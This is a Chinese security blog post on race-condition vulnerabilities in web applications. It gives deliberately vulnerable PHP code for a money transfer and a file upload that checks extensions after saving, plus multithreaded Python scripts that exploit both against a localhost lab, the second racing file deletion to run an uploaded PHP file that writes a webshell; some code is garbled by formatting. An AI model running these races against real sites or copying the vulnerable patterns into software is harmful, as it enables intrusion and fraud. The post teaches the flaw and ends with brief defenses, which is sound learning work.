Fidcer'Blog

Web中的条件竞争漏洞

字数统计: 1.4k阅读时长: 6 min
2019/02/21 Share
来源于:http://seaii-blog.com/index.php/2017/04/26/49.html

0x01前言
放假回家前更一篇~ 之前做xctf联赛的时候多次碰到了这种类型的题目,之前没有好好了解过,被虐了很多次之后终于下定决心来仔细研究了解一波这个漏洞。。。

0x02漏洞成因
首先了解一个定义——竞争条件是什么?

竞争条件”发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。 ——Wikipedia-computer_science

开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。

线程同步机制确保两个及以上的并发进程或线程不同时执行某些特定的程序段,也被称之为临界区(critical section),如果没有应用好同步技术则会发生“竞争条件”问题。在我理解就是两只哈士奇(线程)同时去抢一个丢出去的飞盘(资源),不知道到底哪只能抢到,此处便形成了竞争。

0x03漏洞测试
只是干巴巴的说些定义可能对这个漏洞的理解不够透彻,最简单直接的方法还是自己用代码来测试一下。
现在我们模拟一个转账的情景
前端水平有限,就是用来展示结果的,不要在意细节。。。。
后端处理代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php 
$db = new mysqli('localhost', '', '', '');
$sql = "SELECT rest FROM account";
$rest = intval($db->query($sql)->fetch_assoc()['rest']);

$sql = "SELECT own FROM account";
$own = intval($db->query($sql)->fetch_assoc()['own']);

if ($_SERVER["REQUEST_METHOD"] == "GET") {
$result = array(
"rest" => $rest,
"own" => $own,
);
echo json_encode($result);
} elseif ($_SERVER["REQUEST_METHOD"] == "POST"){
$money = intval($_POST['money']);
if($money <= $rest) {
$result = array(
"status" => "success",
"rest" => $rest - $money,
"own" => $own + $money,
);
echo json_encode($result);

$sql = "UPDATE account SET rest=rest-".$money;
//$sql = "UPDATE account SET rest=".$result['rest'];
$db->query($sql);

$sql = "UPDATE account SET own=own+".$money;
//$sql = "UPDATE account SET own=".$result['own'];
$db->query($sql);
} else {
$result = array(
"status" => "failed",
"rest" => $rest,
"own" => $own,
);
echo json_encode($result);
}
}
?>

配合前端ajax写的,后来测试中发现前端页面完全没用到23333333
使用py模拟转账操作,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import threading
import queue

url = "http://127.0.0.1/race_condition.php"
threads = 25
q = queue.Queue()

for i in range(50):
q.put(i)

def post():
while not q.empty():
q.get()
r = requests.post(url, data={'money': 1})
print(r.text)

if __name__ == '__main__':
for i in range(threads):
t = threading.Thread(target=post)
t.start()

for i in range(threads):
t.join()

因为这个漏洞很受环境因素的影响,比如网络延迟、服务器的处理能力等,所以只执行一次可能并不会成功,尝试几次后意想不到的结果还是发生了。。。

由于多线程访问,数据库update一次的时间内update了多次,导致数据出现错误,这在银行、电商等有支付的地方影响是巨大的。

0x03漏洞实战
要找个实战还真是不容易,在网上翻了半天只找到几个比较老的漏洞,一般会将其归为逻辑漏洞。看了一下套路都差不多,我简化了一下步骤,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./";

$filename = $_FILES['myfile']['name'];

if (is_uploaded_file($_FILES['myfile']['tmp_name'])){
if (!move_uploaded_file($_FILES['myfile']['tmp_name'],$path.$filename)){
die("error:can not move!");
}
} else {
die("error:not an upload file!");
}

$newfile = $path.$filename;
echo "file upload success.file path is: ".$newfile."\n<br />";

if ($_FILES['myfile']['error'] > 0){
unlink($newfile);
die("Upload file error: ");
}

$ext = array_pop(explode(".",$_FILES['myfile']['name']));
if (!in_array($ext,$allowtype)){
unlink($newfile);
die("error:upload the file type is not allowed,delete the file!");
}
?>

简单解释一下,首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,典型的“引狼入室”。
我们的利用思路是这样的,首先上传一个php文件,内容为:

fputs(fopen("info.php", "w"), ""); ?>```
1
当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell。利用代码如下:

import requests
import threading
import os

class RaceCondition(threading.Thread):
def init(self):
threading.Thread.init(self)

    self.url = 'http://127.0.0.1/a.php'
    self.uploadUrl = 'http://127.0.0.1/race.php'

def _get(self):
    print('try to call uploaded file...')
    r = requests.get(self.url)
    if r.status_code == 200:
        print('[*] create file info.php success.')
        os._exit(0)

def _upload(self):
    print('upload file...')
    file = {'myfile': open('a.php', 'r')}
    requests.post(self.uploadUrl, files=file)

def run(self):
    while True:
        for i in range(5):
            self._get()

        for i in range(10):
            self._upload()
            self._get()

if name == ‘main‘:
threads = 50

for i in range(threads):
    t = RaceCondition()
    t.start()

for i in range(threads):
    t.join()

经过几次尝试,成功得到了shell。



0x04漏洞防御
对于数据库的操作,正牌的方法是设置锁,这个之后还要仔细研究一下。
对于文件上传,一定要经过充分完整的检查之后再上传,不要玩花样。。。
在操作系统的角度,共享数据要进行上锁保护(互斥?同步?)
CATALOG